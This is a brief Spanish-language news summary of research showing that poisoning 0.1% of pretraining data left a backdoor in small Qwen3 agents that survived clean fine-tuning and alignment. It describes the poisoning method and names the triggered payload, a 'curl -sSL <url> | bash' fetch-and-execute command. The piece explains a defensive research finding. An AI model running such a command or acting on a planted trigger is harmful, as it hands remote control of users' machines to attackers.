Domingo 1 de noviembre de 2026 ·
Envenenar el preentrenamiento basta para crear una puerta trasera de ejecución remota en un agente de IA
Útil para
Cinco autores de UC Berkeley y del programa Anthropic Fellows entrenaron desde cero modelos Qwen3 de 0,6B, 1,7B y 4B sobre un corpus de 100.000 millones de tokens, envenenando solo el 0,1 % con documentos. Tras un proceso limpio de ajuste fino y alineación, el agente de 4B ejecutó 'curl -sSL <url> | bash' ante entradas activadoras con un 92,7 % de Pass@32. El experimento se hizo a pequeña escala, con agentes de laboratorio y veneno sintético, no con modelos de frontera. Los autores no conocían la arquitectura, el tokenizador ni la mezcla de datos.
Qué significa
La procedencia de los datos de entrenamiento, extraídos de la web sin curar, pasa a ser un asunto de seguridad y no solo de calidad, porque un contenido plantado puede sobrevivir a todo el post-entrenamiento.
Cómo te afecta
- CTO y tecnología
Si entrenas o ajustas modelos propios con datos web, exige procedencia documentada de los corpus, porque el veneno puede sobrevivir al ajuste y a la alineación. Las pruebas posteriores no bastan para detectarlo.
Fuentes originales
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